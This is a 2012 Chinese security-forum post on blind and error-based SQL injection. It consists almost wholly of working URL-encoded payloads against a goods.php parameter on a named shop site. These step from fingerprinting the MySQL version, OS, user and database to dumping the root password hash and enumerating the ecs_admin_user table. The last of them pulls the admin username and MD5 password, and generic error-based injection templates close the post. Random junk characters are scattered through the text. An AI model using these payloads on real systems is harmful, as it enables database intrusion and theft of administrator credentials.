找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2327|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号
6 u2 F; o- y  h' nhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23" S; A. y* C! D* C# G, n8 g  L  a9 |

6 ~2 \, r6 r4 f1 R判断系统
+ \8 e; j* R# @- h
+ t  v3 t6 r) K9 U9 K  g3 E# Dhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
1 y6 A" N9 J( u6 `' l) t$ S1 X1 C1 U0 \$ Z, @

% B' O3 E5 _0 u0 a3 O3 K) x. E! c7 N. m* |
当前 user()0 b9 g! w: G6 t5 P3 H1 U7 F
& S# l) A. ]( d' q/ ?- j% s
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
' q7 ~; ^; T5 q* M# A
9 u+ f$ ~* Z( s; Q; r- Q: J" z( u
2 }& _4 z  w% u1 G% W' i7 `- X  |2 n0 L  d
当前 database()
) @/ ~5 e+ R  |7 Dhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23* O, @* C1 g! Z0 ~
0 X+ x- W& d3 \
& H# T, J0 I; `) j% k8 t: e

) H8 W8 v# U8 b& c/ G  A
2 R  F. X, n" m( Q2 i) q  Q$ Wroot hash
$ `5 @9 {/ s( e+ B
5 a5 `) F3 {0 Whttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
7 _* [1 j, N- k' C0 l" Q. k/ O; ?6 y9 H* s+ K3 z
+ c0 P2 r% H& {
5 A3 U6 n: h: D, V! \
当前 数据库表名
% ?3 p% T% }/ S1 ~) t. H- F+ F- A* S% P: o
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%233 w8 e6 Z3 e" j* Q$ g# p% v

* D+ _4 b. L  I5 ^. P* w7 D3 Q( m9 M& Z  x! N6 `! R
3 [, x# Y5 r& Y+ D$ e. o% g
当前 数据库 user_name 字段
$ R' {/ k9 O7 w7 [
$ K% N! f: V" I/ t7 Bhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
4 t1 n& f+ v  Y% [& z' {
/ Y! \* E, X( g8 ~( e- C当前 数据库 字段 password
) c- K; o, j2 n5 B0 ~http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23) x8 L; D- R# H( y- ~+ V

, ?  Q" w1 k5 X$ `
( D+ e. j) c+ _* o. ?; z) D) W
% @  j- P+ W0 o7 w3 M获得 admin passwd(md5)
7 F2 t0 E: ~* ^! i  x% O& q  q0 O: n% j) L6 u7 Z+ ?. c. V

7 X4 R1 e5 P& d2 Z2 w7 W5 C6 ihttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23- j% M' t+ b9 W! a- @8 }0 i
# B0 d  F. `) Q! R  c
报错注射. Y, D# s9 D$ @( Z8 [6 a
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
' v& n$ r- I3 R
3 n+ c2 n, j" }$ Z6 SSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)5 V+ S2 |0 ?: T+ `

& |. V0 [/ m4 o5 M/ R3 F2 E: Zand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表